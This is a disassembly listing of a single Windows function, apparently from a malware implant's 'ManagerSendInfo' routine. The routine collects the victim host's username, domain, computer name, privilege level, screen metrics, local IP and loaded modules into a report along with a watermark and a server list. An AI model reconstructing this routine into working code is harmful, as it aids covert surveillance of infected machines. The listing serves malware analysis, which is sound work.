Function at 0x4032f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x264
mov eax, dword [0x46c004]
xor eax, esp
mov dword [esp + 0x260], eax
push ebx
push esi
mov eax, ecx
push edi
push eax
push str._manager.c:ManagerSendInfo:195__send_info__flag___.08X
mov dword [esp + 0x18], eax
call fcn.00431ef0
add esp, 8
xor ecx, ecx
call fcn.00430930
mov ebx, eax
test ebx, ebx
je 0x4039ed
lea eax, [esp + 0x3c]
push eax
push 0x46dddc
call fcn.00422ac0
lea eax, [esp + 0x3c]
mov byte [esp + 0x28], 0
mov dword [esp + 0x2c], eax
xor edx, edx
lea eax, [esp + 0x28]
mov ecx, ebx
push eax
call fcn.00433e90
mov edi, eax
add esp, 4
mov dword [esp + 0x14], edi
test edi, edi
je 0x4039e6
mov eax, dword [esp + 0x10]
test al, 1
je 0x403750
mov edx, dword [0x46d93c]
mov ecx, dword [0x46d934]
push str.desc
call fcn.004305b0
mov esi, eax
add esp, 4
test esi, esi
je 0x4033c7
push esi
push str.desc
mov edx, edi
mov ecx, ebx
call fcn.004307d0
add esp, 4
call fcn.00430350
add esp, 4
call fcn.00401b90
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea eax, [esp + 0x28]
mov byte [esp + 0x28], 0
push eax
mov edx, edi
mov dword [esp + 0x30], str.info
mov ecx, ebx
call fcn.00433e90
mov edi, eax
add esp, 4
mov dword [esp + 0x24], edi
test edi, edi
je 0x403748
push 0x464925
push str.watermark
mov edx, edi
mov ecx, ebx
call fcn.00430790
add esp, 8
mov dword [esp + 0x20], 0x7e
mov edx, edi
mov ecx, ebx
push 1
push 0x464954
call fcn.00430bd0
test eax, eax
je 0x40343a
push 0
lea ecx, [esp + 0x24]
mov edx, eax
push 4
push ecx
mov ecx, ebx
call fcn.00434ac0
add esp, 0xc
call fcn.00433ad0
push 2
mov dword [esp + 0x30], edx
mov ecx, ebx
push str.built
mov edx, edi
mov dword [esp + 0x30], eax
call fcn.00430bd0
test eax, eax
je 0x403470
push 0
lea ecx, [esp + 0x2c]
mov edx, eax
push 8
push ecx
mov ecx, ebx
call fcn.00434ac0
add esp, 0xc
push 1
push str.is64
mov edx, edi
mov dword [esp + 0x28], 0
mov ecx, ebx
call fcn.00430bd0
test eax, eax
je 0x4034a1
push 0
lea ecx, [esp + 0x24]
mov edx, eax
push 4
push ecx
mov ecx, ebx
call fcn.00434ac0
add esp, 0xc
push 0x46de08
push 0x464968
mov edx, edi
mov ecx, ebx
call fcn.004307d0
push 0x46e010
push str.arch
mov edx, edi
mov ecx, ebx
call fcn.004307d0
push 0x46e030
push str.domain
mov edx, edi
mov ecx, ebx
call fcn.004307d0
push 0x46e0b0
push str.computer
mov edx, edi
mov ecx, ebx
call fcn.004307d0
push 0x46e0d0
push str.username
mov edx, edi
mov ecx, ebx
call fcn.004307d0
add esp, 0x28
xor edx, edx
xor ecx, ecx
call fcn.00432f10
test eax, eax
je 0x40351a
mov dword [esp + 0x20], 3
jmp 0x40352a
xor eax, eax
cmp dword [0x46e1d0], eax
setne al
inc eax
mov dword [esp + 0x20], eax
push 1
push str.rights
mov edx, edi
mov ecx, ebx
call fcn.00430bd0
test eax, eax
je 0x403553
push 0
lea ecx, [esp + 0x24]
mov edx, eax
push 4
push ecx
mov ecx, ebx
call fcn.00434ac0
add esp, 0xc
xor eax, eax
mov edx, edi
cmp dword [0x46e1d4], eax
mov ecx, ebx
push 1
setne al
inc eax
push str.boot
mov dword [esp + 0x28], eax
call fcn.00430bd0
test eax, eax
je 0x40358c
push 0
lea ecx, [esp + 0x24]
mov edx, eax
push 4
push ecx
mov ecx, ebx
call fcn.00434ac0
add esp, 0xc
push 0x46e150
push str.locale
mov edx, edi
mov ecx, ebx
call fcn.004307d0
add esp, 8
cmp word [0x46e1d8], 0
je 0x4035c2
push 0x46e1d8
push 0x4649ac
mov edx, edi
mov ecx, ebx
call fcn.004307d0
add esp, 8
push 1
call dword [sym.imp.USER32.dll_GetSystemMetrics]
movzx esi, ax
push 0
shl esi, 0x10
call dword [sym.imp.USER32.dll_GetSystemMetrics]
movzx eax, ax
mov edx, edi
push 1
or eax, esi
mov ecx, ebx
push 0x4649b0
mov dword [esp + 0x28], eax
call fcn.00430bd0
test eax, eax
je 0x40360a
push 0
lea ecx, [esp + 0x24]
mov edx, eax
push 4
push ecx
mov ecx, ebx
call fcn.00434ac0
add esp, 0xc
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov dword [esp + 0x20], eax
test eax, eax
je 0x403654
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0xe
push eax
call esi
push 0xc
push dword [esp + 0x24]
mov edi, eax
call esi
imul edi, eax
mov ecx, ebx
push edi
mov edi, dword [esp + 0x28]
mov edx, edi
push 0x4649b4
call fcn.00430730
add esp, 8
push dword [esp + 0x20]
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0
push 0
push 0
push 0
push 0
mov edx, 0x4649b8
xor ecx, ecx
call fcn.004334f0
add esp, 0x14
mov dword [esp + 0x20], eax
test eax, eax
je 0x4036c0
push 0x3a
push eax
call fcn.0043ecb0
mov esi, eax
add esp, 8
test esi, esi
je 0x4036ad
add esi, 2
push 0xd
push esi
call fcn.0043ecb0
add esp, 8
test eax, eax
je 0x40369b
mov byte [eax], 0
push esi
push str.local_ip
mov edx, edi
mov ecx, ebx
call fcn.00430790
add esp, 8
push dword [esp + 0x20]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0x104
lea eax, [esp + 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x403748
lea edi, [esp + 0x60]
add edi, 0xfffffffe
nop dword [eax + eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4036e0
mov ecx, 9
lea eax, [esp + 0x28]
mov esi, str.WindowsUpdate.log
rep movsd dword es:[edi], dword [esi]
push eax
push ecx
lea ecx, [esp + 0x68]
movsw word es:[edi], word [esi]
call fcn.004314c0
add esp, 8
test eax, eax
je 0x403748
mov eax, dword [esp + 0x2c]
xor ecx, ecx
or ecx, dword [esp + 0x28]
sub ecx, 0xd53e8000
push 0
push 0x989680
sbb eax, 0x19db1de
push eax
push ecx
call fcn.004560b0
push edx
mov edx, dword [esp + 0x28]
mov ecx, ebx
push eax
push str.update_time
call fcn.00430760
add esp, 0xc
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
test al, 8
je 0x4037c4
lea eax, [esp + 0x28]
mov byte [esp + 0x28], 0
push eax
mov edx, edi
mov dword [esp + 0x30], str.info
mov ecx, ebx
call fcn.00433e90
mov edi, eax
add esp, 4
test edi, edi
je 0x4037c0
push 1
call dword [sym.imp.USER32.dll_GetSystemMetrics]
movzx esi, ax
push 0
shl esi, 0x10
call dword [sym.imp.USER32.dll_GetSystemMetrics]
movzx eax, ax
mov edx, edi
push 1
or eax, esi
mov ecx, ebx
push 0x4649b0
mov dword [esp + 0x2c], eax
call fcn.00430bd0
test eax, eax
je 0x4037c0
push 0
lea ecx, [esp + 0x28]
mov edx, eax
push 4
push ecx
mov ecx, ebx
call fcn.00434ac0
add esp, 0xc
mov eax, dword [esp + 0x10]
mov esi, dword [esp + 0x14]
test al, 2
je 0x403974
lea eax, [esp + 0x28]
mov byte [esp + 0x28], 0
push eax
mov edx, esi
mov dword [esp + 0x30], str.modules
mov ecx, ebx
call fcn.00433e90
add esp, 4
mov dword [esp + 0x28], eax
test eax, eax
je 0x403970
push 0x46d954
xor edi, edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
nop word [eax + eax]
cmp dword [0x46d950], 0
je 0x403961
test edi, edi
jne 0x403829
mov edi, dword [0x46d94c]
jmp 0x403838
mov eax, dword [edi]
xor ecx, ecx
cmp eax, dword [0x46d94c]
mov edi, eax
cmove edi, ecx
test edi, edi
setne al
test al, al
je 0x403961
mov esi, dword [edi + 8]
lea eax, [esp + 0x18]
mov edx, dword [esp + 0x28]
mov ecx, ebx
push eax
mov byte [esp + 0x1c], 0
mov dword [esp + 0x20], esi
call fcn.00433e90
add esp, 4
mov dword [esp + 0x20], eax
test eax, eax
je 0x403810
mov ecx, dword [esi + 0x48]
mov edx, eax
mov dword [esp + 0x30], ecx
mov ecx, dword [esi + 0x4c]
push 2
mov dword [esp + 0x38], ecx
mov ecx, ebx
push str.start
call fcn.00430bd0
test eax, eax
je 0x4038a3
push 0
lea ecx, [esp + 0x34]
mov edx, eax
push 8
push ecx
mov ecx, ebx
call fcn.00434ac0
add esp, 0xc
mov eax, dword [esi + 0x50]
mov ecx, ebx
mov edx, dword [esp + 0x20]
push 1
push 0x464a68
mov dword [esp + 0x2c], eax
call fcn.00430bd0
test eax, eax
je 0x4038d5
push 0
lea ecx, [esp + 0x28]
mov edx, eax
push 4
push ecx
mov ecx, ebx
call fcn.00434ac0
add esp, 0xc
cmp dword [esi + 0x50], 0
je 0x4038e0
mov eax, dword [esi + 0x5c]
jmp 0x4038e9
xor edx, edx
xor ecx, ecx
call fcn.00432f10
mov edx, dword [esp + 0x20]
mov ecx, ebx
push 1
push 0x464a6c
mov dword [esp + 0x2c], eax
call fcn.00430bd0
test eax, eax
je 0x403918
push 0
lea ecx, [esp + 0x28]
mov edx, eax
push 4
push ecx
mov ecx, ebx
call fcn.00434ac0
add esp, 0xc
cmp dword [esi + 0x50], 0
je 0x403923
mov eax, dword [esi + 0x58]
jmp 0x403929
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, dword [esp + 0x20]
mov ecx, ebx
push 1
push 0x464a70
mov dword [esp + 0x2c], eax
call fcn.00430bd0
test eax, eax
je 0x403810
push 0
lea ecx, [esp + 0x28]
mov edx, eax
push 4
push ecx
mov ecx, ebx
call fcn.00434ac0
add esp, 0xc
jmp 0x403810
push 0x46d954
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov esi, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
test al, 4
je 0x4039d8
lea eax, [esp + 0x30]
mov byte [esp + 0x30], 0
push eax
mov edx, esi
mov dword [esp + 0x38], str.servers
mov ecx, ebx
call fcn.00433e90
mov esi, eax
add esp, 4
test esi, esi
je 0x4039d8
mov edx, dword [0x46d93c]
lea eax, [esp + 0x30]
mov ecx, dword [0x46d934]
push eax
mov byte [esp + 0x34], 0
mov dword [esp + 0x38], str.servers
call fcn.004340e0
add esp, 4
test eax, eax
je 0x4039d8
mov ecx, dword [0x46d934]
mov edx, eax
push esi
push ebx
call fcn.0042ffc0
add esp, 8
push ebx
push str.info
call fcn.00403180
add esp, 8
mov ecx, ebx
call fcn.00430a80
mov ecx, dword [esp + 0x26c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0043de43
mov esp, ebp
pop ebp
ret